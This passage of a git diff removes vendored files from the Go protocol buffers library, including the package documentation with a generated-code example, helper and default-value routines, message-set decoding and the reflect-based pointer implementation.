DAMAGE. - -/* -Package proto converts data structures to and from the wire format of -protocol buffers. It works in concert with the Go source code generated -for .proto files by the protocol compiler. - -A summary of the properties of the protocol buffer interface -for a protocol buffer variable v: - - - Names are turned from camel_case to CamelCase for export. - - There are no methods on v to set fields; just treat - them as structure fields. - - There are getters that return a field's value if set, - and return the field's default value if unset. - The getters work even if the receiver is a nil message. - - The zero value for a struct is its correct initialization state. - All desired fields must be set before marshaling. - - A Reset() method will restore a protobuf struct to its zero state. - - Non-repeated fields are pointers to the values; nil means unset. - That is, optional or required field int32 f becomes F *int32. - - Repeated fields are slices. - - Helper functions are available to aid the setting of fields. - msg.Foo = proto.String("hello") // set field - - Constants are defined to hold the default values of all fields that - have them. They have the form Default_StructName_FieldName. - Because the getter methods handle defaulted values, - direct use of these constants should be rare. - - Enums are given type names and maps from names to values. - Enum values are prefixed by the enclosing message's name, or by the - enum's type name if it is a top-level enum. Enum types have a String - method, and a Enum method to assist in message construction. - - Nested messages, groups and enums have type names prefixed with the name of - the surrounding message type. - - Extensions are given descriptor names that start with E_, - followed by an underscore-delimited list of the nested messages - that contain it (if any) followed by the CamelCased name of the - extension field itself. HasExtension, ClearExtension, GetExtension - and SetExtension are functions for manipulating extensions. - - Oneof field sets are given a single field in their message, - with distinguished wrapper types for each possible field value. - - Marshal and Unmarshal are functions to encode and decode the wire format. - -When the .proto file specifies `syntax="proto3"`, there are some differences: - - - Non-repeated fields of non-message type are values instead of pointers. - - Enum types do not get an Enum method. - -The simplest way to describe this is to see an example. -Given file test.proto, containing - - package example; - - enum FOO { X = 17; } - - message Test { - required string label = 1; - optional int32 type = 2 [default=77]; - repeated int64 reps = 3; - optional group OptionalGroup = 4 { - required string RequiredField = 5; - } - oneof union { - int32 number = 6; - string name = 7; - } - } - -The resulting file, test.pb.go, is: - - package example - - import proto "github.com/golang/protobuf/proto" - import math "math" - - type FOO int32 - const ( - FOO_X FOO = 17 - ) - var FOO_name = map[int32]string{ - 17: "X", - } - var FOO_value = map[string]int32{ - "X": 17, - } - - func (x FOO) Enum() *FOO { - p := new(FOO) - *p = x - return p - } - func (x FOO) String() string { - return proto.EnumName(FOO_name, int32(x)) - } - func (x *FOO) UnmarshalJSON(data []byte) error { - value, err := proto.UnmarshalJSONEnum(FOO_value, data) - if err != nil { - return err - } - *x = FOO(value) - return nil - } - - type Test struct { - Label *string `protobuf:"bytes,1,req,name=label" json:"label,omitempty"` - Type *int32 `protobuf:"varint,2,opt,name=type,def=77" json:"type,omitempty"` - Reps []int64 `protobuf:"varint,3,rep,name=reps" json:"reps,omitempty"` - Optionalgroup *Test_OptionalGroup `protobuf:"group,4,opt,name=OptionalGroup" json:"optionalgroup,omitempty"` - // Types that are valid to be assigned to Union: - // *Test_Number - // *Test_Name - Union isTest_Union `protobuf_oneof:"union"` - XXX_unrecognized []byte `json:"-"` - } - func (m *Test) Reset() { *m = Test{} } - func (m *Test) String() string { return proto.CompactTextString(m) } - func (*Test) ProtoMessage() {} - - type isTest_Union interface { - isTest_Union() - } - - type Test_Number struct { - Number int32 `protobuf:"varint,6,opt,name=number"` - } - type Test_Name struct { - Name string `protobuf:"bytes,7,opt,name=name"` - } - - func (*Test_Number) isTest_Union() {} - func (*Test_Name) isTest_Union() {} - - func (m *Test) GetUnion() isTest_Union { - if m != nil { - return m.Union - } - return nil - } - const Default_Test_Type int32 = 77 - - func (m *Test) GetLabel() string { - if m != nil && m.Label != nil { - return *m.Label - } - return "" - } - - func (m *Test) GetType() int32 { - if m != nil && m.Type != nil { - return *m.Type - } - return Default_Test_Type - } - - func (m *Test) GetOptionalgroup() *Test_OptionalGroup { - if m != nil { - return m.Optionalgroup - } - return nil - } - - type Test_OptionalGroup struct { - RequiredField *string `protobuf:"bytes,5,req" json:"RequiredField,omitempty"` - } - func (m *Test_OptionalGroup) Reset() { *m = Test_OptionalGroup{} } - func (m *Test_OptionalGroup) String() string { return proto.CompactTextString(m) } - - func (m *Test_OptionalGroup) GetRequiredField() string { - if m != nil && m.RequiredField != nil { - return *m.RequiredField - } - return "" - } - - func (m *Test) GetNumber() int32 { - if x, ok := m.GetUnion().(*Test_Number); ok { - return x.Number - } - return 0 - } - - func (m *Test) GetName() string { - if x, ok := m.GetUnion().(*Test_Name); ok { - return x.Name - } - return "" - } - - func init() { - proto.RegisterEnum("example.FOO", FOO_name, FOO_value) - } - -To create and play with a Test object: - - package main - - import ( - "log" - - "github.com/golang/protobuf/proto" - pb "./example.pb" - ) - - func main() { - test := &pb.Test{ - Label: proto.String("hello"), - Type: proto.Int32(17), - Reps: []int64{1, 2, 3}, - Optionalgroup: &pb.Test_OptionalGroup{ - RequiredField: proto.String("good bye"), - }, - Union: &pb.Test_Name{"fred"}, - } - data, err := proto.Marshal(test) - if err != nil { - log.Fatal("marshaling error: ", err) - } - newTest := &pb.Test{} - err = proto.Unmarshal(data, newTest) - if err != nil { - log.Fatal("unmarshaling error: ", err) - } - // Now test and newTest contain the same data. - if test.GetLabel() != newTest.GetLabel() { - log.Fatalf("data mismatch %q != %q", test.GetLabel(), newTest.GetLabel()) - } - // Use a type switch to determine which oneof was set. - switch u := test.Union.(type) { - case *pb.Test_Number: // u.Number contains the number. - case *pb.Test_Name: // u.Name contains the string. - } - // etc. - } -*/ -package proto - -import ( - "encoding/json" - "fmt" - "log" - "reflect" - "sort" - "strconv" - "sync" -) - -// RequiredNotSetError is an error type returned by either Marshal or Unmarshal. -// Marshal reports this when a required field is not initialized. -// Unmarshal reports this when a required field is missing from the wire data. -type RequiredNotSetError struct{ field string } - -func (e *RequiredNotSetError) Error() string { - if e.field == "" { - return fmt.Sprintf("proto: required field not set") - } - return fmt.Sprintf("proto: required field %q not set", e.field) -} -func (e *RequiredNotSetError) RequiredNotSet() bool { - return true -} - -type invalidUTF8Error struct{ field string } - -func (e *invalidUTF8Error) Error() string { - if e.field == "" { - return "proto: invalid UTF-8 detected" - } - return fmt.Sprintf("proto: field %q contains invalid UTF-8", e.field) -} -func (e *invalidUTF8Error) InvalidUTF8() bool { - return true -} - -// errInvalidUTF8 is a sentinel error to identify fields with invalid UTF-8. -// This error should not be exposed to the external API as such errors should -// be recreated with the field information. -var errInvalidUTF8 = &invalidUTF8Error{} - -// isNonFatal reports whether the error is either a RequiredNotSet error -// or a InvalidUTF8 error. -func isNonFatal(err error) bool { - if re, ok := err.(interface{ RequiredNotSet() bool }); ok && re.RequiredNotSet() { - return true - } - if re, ok := err.(interface{ InvalidUTF8() bool }); ok && re.InvalidUTF8() { - return true - } - return false -} - -type nonFatal struct{ E error } - -// Merge merges err into nf and reports whether it was successful. -// Otherwise it returns false for any fatal non-nil errors. -func (nf *nonFatal) Merge(err error) (ok bool) { - if err == nil { - return true // not an error - } - if !isNonFatal(err) { - return false // fatal error - } - if nf.E == nil { - nf.E = err // store first instance of non-fatal error - } - return true -} - -// Message is implemented by generated protocol buffer messages. -type Message interface { - Reset() - String() string - ProtoMessage() -} - -// A Buffer is a buffer manager for marshaling and unmarshaling -// protocol buffers. It may be reused between invocations to -// reduce memory usage. It is not necessary to use a Buffer; -// the global functions Marshal and Unmarshal create a -// temporary Buffer and are fine for most applications. -type Buffer struct { - buf []byte // encode/decode byte stream - index int // read point - - deterministic bool -} - -// NewBuffer allocates a new Buffer and initializes its internal data to -// the contents of the argument slice. -func NewBuffer(e []byte) *Buffer { - return &Buffer{buf: e} -} - -// Reset resets the Buffer, ready for marshaling a new protocol buffer. -func (p *Buffer) Reset() { - p.buf = p.buf[0:0] // for reading/writing - p.index = 0 // for reading -} - -// SetBuf replaces the internal buffer with the slice, -// ready for unmarshaling the contents of the slice. -func (p *Buffer) SetBuf(s []byte) { - p.buf = s - p.index = 0 -} - -// Bytes returns the contents of the Buffer. -func (p *Buffer) Bytes() []byte { return p.buf } - -// SetDeterministic sets whether to use deterministic serialization. -// -// Deterministic serialization guarantees that for a given binary, equal -// messages will always be serialized to the same bytes. This implies: -// -// - Repeated serialization of a message will return the same bytes. -// - Different processes of the same binary (which may be executing on -// different machines) will serialize equal messages to the same bytes. -// -// Note that the deterministic serialization is NOT canonical across -// languages. It is not guaranteed to remain stable over time. It is unstable -// across different builds with schema changes due to unknown fields. -// Users who need canonical serialization (e.g., persistent storage in a -// canonical form, fingerprinting, etc.) should define their own -// canonicalization specification and implement their own serializer rather -// than relying on this API. -// -// If deterministic serialization is requested, map entries will be sorted -// by keys in lexographical order. This is an implementation detail and -// subject to change. -func (p *Buffer) SetDeterministic(deterministic bool) { - p.deterministic = deterministic -} - -/* - * Helper routines for simplifying the creation of optional fields of basic type. - */ - -// Bool is a helper routine that allocates a new bool value -// to store v and returns a pointer to it. -func Bool(v bool) *bool { - return &v -} - -// Int32 is a helper routine that allocates a new int32 value -// to store v and returns a pointer to it. -func Int32(v int32) *int32 { - return &v -} - -// Int is a helper routine that allocates a new int32 value -// to store v and returns a pointer to it, but unlike Int32 -// its argument value is an int. -func Int(v int) *int32 { - p := new(int32) - *p = int32(v) - return p -} - -// Int64 is a helper routine that allocates a new int64 value -// to store v and returns a pointer to it. -func Int64(v int64) *int64 { - return &v -} - -// Float32 is a helper routine that allocates a new float32 value -// to store v and returns a pointer to it. -func Float32(v float32) *float32 { - return &v -} - -// Float64 is a helper routine that allocates a new float64 value -// to store v and returns a pointer to it. -func Float64(v float64) *float64 { - return &v -} - -// Uint32 is a helper routine that allocates a new uint32 value -// to store v and returns a pointer to it. -func Uint32(v uint32) *uint32 { - return &v -} - -// Uint64 is a helper routine that allocates a new uint64 value -// to store v and returns a pointer to it. -func Uint64(v uint64) *uint64 { - return &v -} - -// String is a helper routine that allocates a new string value -// to store v and returns a pointer to it. -func String(v string) *string { - return &v -} - -// EnumName is a helper function to simplify printing protocol buffer enums -// by name. Given an enum map and a value, it returns a useful string. -func EnumName(m map[int32]string, v int32) string { - s, ok := m[v] - if ok { - return s - } - return strconv.Itoa(int(v)) -} - -// UnmarshalJSONEnum is a helper function to simplify recovering enum int values -// from their JSON-encoded representation. Given a map from the enum's symbolic -// names to its int values, and a byte buffer containing the JSON-encoded -// value, it returns an int32 that can be cast to the enum type by the caller. -// -// The function can deal with both JSON representations, numeric and symbolic. -func UnmarshalJSONEnum(m map[string]int32, data []byte, enumName string) (int32, error) { - if data[0] == '"' { - // New style: enums are strings. - var repr string - if err := json.Unmarshal(data, &repr); err != nil { - return -1, err - } - val, ok := m[repr] - if !ok { - return 0, fmt.Errorf("unrecognized enum %s value %q", enumName, repr) - } - return val, nil - } - // Old style: enums are ints. - var val int32 - if err := json.Unmarshal(data, &val); err != nil { - return 0, fmt.Errorf("cannot unmarshal %#q into enum %s", data, enumName) - } - return val, nil -} - -// DebugPrint dumps the encoded data in b in a debugging format with a header -// including the string s. Used in testing but made available for general debugging. -func (p *Buffer) DebugPrint(s string, b []byte) { - var u uint64 - - obuf := p.buf - index := p.index - p.buf = b - p.index = 0 - depth := 0 - - fmt.Printf("\n--- %s ---\n", s) - -out: - for { - for i := 0; i < depth; i++ { - fmt.Print(" ") - } - - index := p.index - if index == len(p.buf) { - break - } - - op, err := p.DecodeVarint() - if err != nil { - fmt.Printf("%3d: fetching op err %v\n", index, err) - break out - } - tag := op >> 3 - wire := op & 7 - - switch wire { - default: - fmt.Printf("%3d: t=%3d unknown wire=%d\n", - index, tag, wire) - break out - - case WireBytes: - var r []byte - - r, err = p.DecodeRawBytes(false) - if err != nil { - break out - } - fmt.Printf("%3d: t=%3d bytes [%d]", index, tag, len(r)) - if len(r) <= 6 { - for i := 0; i < len(r); i++ { - fmt.Printf(" %.2x", r[i]) - } - } else { - for i := 0; i < 3; i++ { - fmt.Printf(" %.2x", r[i]) - } - fmt.Printf(" ..") - for i := len(r) - 3; i < len(r); i++ { - fmt.Printf(" %.2x", r[i]) - } - } - fmt.Printf("\n") - - case WireFixed32: - u, err = p.DecodeFixed32() - if err != nil { - fmt.Printf("%3d: t=%3d fix32 err %v\n", index, tag, err) - break out - } - fmt.Printf("%3d: t=%3d fix32 %d\n", index, tag, u) - - case WireFixed64: - u, err = p.DecodeFixed64() - if err != nil { - fmt.Printf("%3d: t=%3d fix64 err %v\n", index, tag, err) - break out - } - fmt.Printf("%3d: t=%3d fix64 %d\n", index, tag, u) - - case WireVarint: - u, err = p.DecodeVarint() - if err != nil { - fmt.Printf("%3d: t=%3d varint err %v\n", index, tag, err) - break out - } - fmt.Printf("%3d: t=%3d varint %d\n", index, tag, u) - - case WireStartGroup: - fmt.Printf("%3d: t=%3d start\n", index, tag) - depth++ - - case WireEndGroup: - depth-- - fmt.Printf("%3d: t=%3d end\n", index, tag) - } - } - - if depth != 0 { - fmt.Printf("%3d: start-end not balanced %d\n", p.index, depth) - } - fmt.Printf("\n") - - p.buf = obuf - p.index = index -} - -// SetDefaults sets unset protocol buffer fields to their default values. -// It only modifies fields that are both unset and have defined defaults. -// It recursively sets default values in any non-nil sub-messages. -func SetDefaults(pb Message) { - setDefaults(reflect.ValueOf(pb), true, false) -} - -// v is a pointer to a struct. -func setDefaults(v reflect.Value, recur, zeros bool) { - v = v.Elem() - - defaultMu.RLock() - dm, ok := defaults[v.Type()] - defaultMu.RUnlock() - if !ok { - dm = buildDefaultMessage(v.Type()) - defaultMu.Lock() - defaults[v.Type()] = dm - defaultMu.Unlock() - } - - for _, sf := range dm.scalars { - f := v.Field(sf.index) - if !f.IsNil() { - // field already set - continue - } - dv := sf.value - if dv == nil && !zeros { - // no explicit default, and don't want to set zeros - continue - } - fptr := f.Addr().Interface() // **T - // TODO: Consider batching the allocations we do here. - switch sf.kind { - case reflect.Bool: - b := new(bool) - if dv != nil { - *b = dv.(bool) - } - *(fptr.(**bool)) = b - case reflect.Float32: - f := new(float32) - if dv != nil { - *f = dv.(float32) - } - *(fptr.(**float32)) = f - case reflect.Float64: - f := new(float64) - if dv != nil { - *f = dv.(float64) - } - *(fptr.(**float64)) = f - case reflect.Int32: - // might be an enum - if ft := f.Type(); ft != int32PtrType { - // enum - f.Set(reflect.New(ft.Elem())) - if dv != nil { - f.Elem().SetInt(int64(dv.(int32))) - } - } else { - // int32 field - i := new(int32) - if dv != nil { - *i = dv.(int32) - } - *(fptr.(**int32)) = i - } - case reflect.Int64: - i := new(int64) - if dv != nil { - *i = dv.(int64) - } - *(fptr.(**int64)) = i - case reflect.String: - s := new(string) - if dv != nil { - *s = dv.(string) - } - *(fptr.(**string)) = s - case reflect.Uint8: - // exceptional case: []byte - var b []byte - if dv != nil { - db := dv.([]byte) - b = make([]byte, len(db)) - copy(b, db) - } else { - b = []byte{} - } - *(fptr.(*[]byte)) = b - case reflect.Uint32: - u := new(uint32) - if dv != nil { - *u = dv.(uint32) - } - *(fptr.(**uint32)) = u - case reflect.Uint64: - u := new(uint64) - if dv != nil { - *u = dv.(uint64) - } - *(fptr.(**uint64)) = u - default: - log.Printf("proto: can't set default for field %v (sf.kind=%v)", f, sf.kind) - } - } - - for _, ni := range dm.nested { - f := v.Field(ni) - // f is *T or []*T or map[T]*T - switch f.Kind() { - case reflect.Ptr: - if f.IsNil() { - continue - } - setDefaults(f, recur, zeros) - - case reflect.Slice: - for i := 0; i < f.Len(); i++ { - e := f.Index(i) - if e.IsNil() { - continue - } - setDefaults(e, recur, zeros) - } - - case reflect.Map: - for _, k := range f.MapKeys() { - e := f.MapIndex(k) - if e.IsNil() { - continue - } - setDefaults(e, recur, zeros) - } - } - } -} - -var ( - // defaults maps a protocol buffer struct type to a slice of the fields, - // with its scalar fields set to their proto-declared non-zero default values. - defaultMu sync.RWMutex - defaults = make(map[reflect.Type]defaultMessage) - - int32PtrType = reflect.TypeOf((*int32)(nil)) -) - -// defaultMessage represents information about the default values of a message. -type defaultMessage struct { - scalars []scalarField - nested []int // struct field index of nested messages -} - -type scalarField struct { - index int // struct field index - kind reflect.Kind // element type (the T in *T or []T) - value interface{} // the proto-declared default value, or nil -} - -// t is a struct type. -func buildDefaultMessage(t reflect.Type) (dm defaultMessage) { - sprop := GetProperties(t) - for _, prop := range sprop.Prop { - fi, ok := sprop.decoderTags.get(prop.Tag) - if !ok { - // XXX_unrecognized - continue - } - ft := t.Field(fi).Type - - sf, nested, err := fieldDefault(ft, prop) - switch { - case err != nil: - log.Print(err) - case nested: - dm.nested = append(dm.nested, fi) - case sf != nil: - sf.index = fi - dm.scalars = append(dm.scalars, *sf) - } - } - - return dm -} - -// fieldDefault returns the scalarField for field type ft. -// sf will be nil if the field can not have a default. -// nestedMessage will be true if this is a nested message. -// Note that sf.index is not set on return. -func fieldDefault(ft reflect.Type, prop *Properties) (sf *scalarField, nestedMessage bool, err error) { - var canHaveDefault bool - switch ft.Kind() { - case reflect.Ptr: - if ft.Elem().Kind() == reflect.Struct { - nestedMessage = true - } else { - canHaveDefault = true // proto2 scalar field - } - - case reflect.Slice: - switch ft.Elem().Kind() { - case reflect.Ptr: - nestedMessage = true // repeated message - case reflect.Uint8: - canHaveDefault = true // bytes field - } - - case reflect.Map: - if ft.Elem().Kind() == reflect.Ptr { - nestedMessage = true // map with message values - } - } - - if !canHaveDefault { - if nestedMessage { - return nil, true, nil - } - return nil, false, nil - } - - // We now know that ft is a pointer or slice. - sf = &scalarField{kind: ft.Elem().Kind()} - - // scalar fields without defaults - if !prop.HasDefault { - return sf, false, nil - } - - // a scalar field: either *T or []byte - switch ft.Elem().Kind() { - case reflect.Bool: - x, err := strconv.ParseBool(prop.Default) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default bool %q: %v", prop.Default, err) - } - sf.value = x - case reflect.Float32: - x, err := strconv.ParseFloat(prop.Default, 32) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default float32 %q: %v", prop.Default, err) - } - sf.value = float32(x) - case reflect.Float64: - x, err := strconv.ParseFloat(prop.Default, 64) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default float64 %q: %v", prop.Default, err) - } - sf.value = x - case reflect.Int32: - x, err := strconv.ParseInt(prop.Default, 10, 32) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default int32 %q: %v", prop.Default, err) - } - sf.value = int32(x) - case reflect.Int64: - x, err := strconv.ParseInt(prop.Default, 10, 64) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default int64 %q: %v", prop.Default, err) - } - sf.value = x - case reflect.String: - sf.value = prop.Default - case reflect.Uint8: - // []byte (not *uint8) - sf.value = []byte(prop.Default) - case reflect.Uint32: - x, err := strconv.ParseUint(prop.Default, 10, 32) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default uint32 %q: %v", prop.Default, err) - } - sf.value = uint32(x) - case reflect.Uint64: - x, err := strconv.ParseUint(prop.Default, 10, 64) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default uint64 %q: %v", prop.Default, err) - } - sf.value = x - default: - return nil, false, fmt.Errorf("proto: unhandled def kind %v", ft.Elem().Kind()) - } - - return sf, false, nil -} - -// mapKeys returns a sort.Interface to be used for sorting the map keys. -// Map fields may have key types of non-float scalars, strings and enums. -func mapKeys(vs []reflect.Value) sort.Interface { - s := mapKeySorter{vs: vs} - - // Type specialization per https://developers.google.com/protocol-buffers/docs/proto#maps. - if len(vs) == 0 { - return s - } - switch vs[0].Kind() { - case reflect.Int32, reflect.Int64: - s.less = func(a, b reflect.Value) bool { return a.Int() < b.Int() } - case reflect.Uint32, reflect.Uint64: - s.less = func(a, b reflect.Value) bool { return a.Uint() < b.Uint() } - case reflect.Bool: - s.less = func(a, b reflect.Value) bool { return !a.Bool() && b.Bool() } // false < true - case reflect.String: - s.less = func(a, b reflect.Value) bool { return a.String() < b.String() } - default: - panic(fmt.Sprintf("unsupported map key type: %v", vs[0].Kind())) - } - - return s -} - -type mapKeySorter struct { - vs []reflect.Value - less func(a, b reflect.Value) bool -} - -func (s mapKeySorter) Len() int { return len(s.vs) } -func (s mapKeySorter) Swap(i, j int) { s.vs[i], s.vs[j] = s.vs[j], s.vs[i] } -func (s mapKeySorter) Less(i, j int) bool { - return s.less(s.vs[i], s.vs[j]) -} - -// isProto3Zero reports whether v is a zero proto3 value. -func isProto3Zero(v reflect.Value) bool { - switch v.Kind() { - case reflect.Bool: - return !v.Bool() - case reflect.Int32, reflect.Int64: - return v.Int() == 0 - case reflect.Uint32, reflect.Uint64: - return v.Uint() == 0 - case reflect.Float32, reflect.Float64: - return v.Float() == 0 - case reflect.String: - return v.String() == "" - } - return false -} - -const ( - // ProtoPackageIsVersion3 is referenced from generated protocol buffer files - // to assert that that code is compatible with this version of the proto package. - ProtoPackageIsVersion3 = true - - // ProtoPackageIsVersion2 is referenced from generated protocol buffer files - // to assert that that code is compatible with this version of the proto package. - ProtoPackageIsVersion2 = true - - // ProtoPackageIsVersion1 is referenced from generated protocol buffer files - // to assert that that code is compatible with this version of the proto package. - ProtoPackageIsVersion1 = true -) - -// InternalMessageInfo is a type used internally by generated .pb.go files. -// This type is not intended to be used by non-generated code. -// This type is not subject to any compatibility guarantee. -type InternalMessageInfo struct { - marshal *marshalInfo - unmarshal *unmarshalInfo - merge *mergeInfo - discard *discardInfo -} diff --git a/vendor/github.com/golang/protobuf/proto/message_set.go b/vendor/github.com/golang/protobuf/proto/message_set.go deleted file mode 100644 index f48a756761..0000000000 --- a/vendor/github.com/golang/protobuf/proto/message_set.go +++ /dev/null @@ -1,181 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -/* - * Support for message sets. - */ - -import ( - "errors" -) - -// errNoMessageTypeID occurs when a protocol buffer does not have a message type ID. -// A message type ID is required for storing a protocol buffer in a message set. -var errNoMessageTypeID = errors.New("proto does not have a message type ID") - -// The first two types (_MessageSet_Item and messageSet) -// model what the protocol compiler produces for the following protocol message: -// message MessageSet { -// repeated group Item = 1 { -// required int32 type_id = 2; -// required string message = 3; -// }; -// } -// That is the MessageSet wire format. We can't use a proto to generate these -// because that would introduce a circular dependency between it and this package. - -type _MessageSet_Item struct { - TypeId *int32 `protobuf:"varint,2,req,name=type_id"` - Message []byte `protobuf:"bytes,3,req,name=message"` -} - -type messageSet struct { - Item []*_MessageSet_Item `protobuf:"group,1,rep"` - XXX_unrecognized []byte - // TODO: caching? -} - -// Make sure messageSet is a Message. -var _ Message = (*messageSet)(nil) - -// messageTypeIder is an interface satisfied by a protocol buffer type -// that may be stored in a MessageSet. -type messageTypeIder interface { - MessageTypeId() int32 -} - -func (ms *messageSet) find(pb Message) *_MessageSet_Item { - mti, ok := pb.(messageTypeIder) - if !ok { - return nil - } - id := mti.MessageTypeId() - for _, item := range ms.Item { - if *item.TypeId == id { - return item - } - } - return nil -} - -func (ms *messageSet) Has(pb Message) bool { - return ms.find(pb) != nil -} - -func (ms *messageSet) Unmarshal(pb Message) error { - if item := ms.find(pb); item != nil { - return Unmarshal(item.Message, pb) - } - if _, ok := pb.(messageTypeIder); !ok { - return errNoMessageTypeID - } - return nil // TODO: return error instead? -} - -func (ms *messageSet) Marshal(pb Message) error { - msg, err := Marshal(pb) - if err != nil { - return err - } - if item := ms.find(pb); item != nil { - // reuse existing item - item.Message = msg - return nil - } - - mti, ok := pb.(messageTypeIder) - if !ok { - return errNoMessageTypeID - } - - mtid := mti.MessageTypeId() - ms.Item = append(ms.Item, &_MessageSet_Item{ - TypeId: &mtid, - Message: msg, - }) - return nil -} - -func (ms *messageSet) Reset() { *ms = messageSet{} } -func (ms *messageSet) String() string { return CompactTextString(ms) } -func (*messageSet) ProtoMessage() {} - -// Support for the message_set_wire_format message option. - -func skipVarint(buf []byte) []byte { - i := 0 - for ; buf[i]&0x80 != 0; i++ { - } - return buf[i+1:] -} - -// unmarshalMessageSet decodes the extension map encoded in buf in the message set wire format. -// It is called by Unmarshal methods on protocol buffer messages with the message_set_wire_format option. -func unmarshalMessageSet(buf []byte, exts interface{}) error { - var m map[int32]Extension - switch exts := exts.(type) { - case *XXX_InternalExtensions: - m = exts.extensionsWrite() - case map[int32]Extension: - m = exts - default: - return errors.New("proto: not an extension map") - } - - ms := new(messageSet) - if err := Unmarshal(buf, ms); err != nil { - return err - } - for _, item := range ms.Item { - id := *item.TypeId - msg := item.Message - - // Restore wire type and field number varint, plus length varint. - // Be careful to preserve duplicate items. - b := EncodeVarint(uint64(id)<<3 | WireBytes) - if ext, ok := m[id]; ok { - // Existing data; rip off the tag and length varint - // so we join the new data correctly. - // We can assume that ext.enc is set because we are unmarshaling. - o := ext.enc[len(b):] // skip wire type and field number - _, n := DecodeVarint(o) // calculate length of length varint - o = o[n:] // skip length varint - msg = append(o, msg...) // join old data and new data - } - b = append(b, EncodeVarint(uint64(len(msg)))...) - b = append(b, msg...) - - m[id] = Extension{enc: b} - } - return nil -} diff --git a/vendor/github.com/golang/protobuf/proto/pointer_reflect.go b/vendor/github.com/golang/protobuf/proto/pointer_reflect.go deleted file mode 100644 index 94fa9194a8..0000000000 --- a/vendor/github.com/golang/protobuf/proto/pointer_reflect.go +++ /dev/null @@ -1,360 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2012 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// +build purego appengine js - -// This file contains an implementation of proto field accesses using package reflect. -// It is slower than the code in pointer_unsafe.go but it avoids package unsafe and can -// be used on App Engine. - -package proto - -import ( - "reflect" - "sync" -) - -const unsafeAllowed = false - -// A field identifies a field in a struct, accessible from a pointer. -// In this implementation, a field is identified by the sequence of field indices -// passed to reflect's FieldByIndex. -type field []int - -// toField returns a field equivalent to the given reflect field. -func toField(f *reflect.StructField) field { - return f.Index -} - -// invalidField is an invalid field identifier. -var invalidField = field(nil) - -// zeroField is a noop when calling pointer.offset. -var zeroField = field([]int{}) - -// IsValid reports whether the field identifier is valid. -func (f field) IsValid() bool { return f != nil } - -// The pointer type is for the table-driven decoder. -// The implementation here uses a reflect.Value of pointer type to -// create a generic pointer. In pointer_unsafe.go we use unsafe -// instead of reflect to implement the same (but faster) interface. -type pointer struct { - v reflect.Value -} - -// toPointer converts an interface of pointer type to a pointer -// that points to the same target. -func toPointer(i *Message) pointer { - return pointer{v: reflect.ValueOf(*i)} -} - -// toAddrPointer converts an interface to a pointer that points to -// the interface data. -func toAddrPointer(i *interface{}, isptr, deref bool) pointer { - v := reflect.ValueOf(*i) - u := reflect.New(v.Type()) - u.Elem().Set(v) - if deref { - u = u.Elem() - } - return pointer{v: u} -} - -// valToPointer converts v to a pointer. v must be of pointer type. -func valToPointer(v reflect.Value) pointer { - return pointer{v: v} -} - -// offset converts from a pointer to a structure to a pointer to -// one of its fields. -func (p pointer) offset(f field) pointer { - return pointer{v: p.v.Elem().FieldByIndex(f).Addr()} -} - -func (p pointer) isNil() bool { - return p.v.IsNil() -} - -// grow updates the slice s in place to make it one element longer. -// s must be addressable. -// Returns the 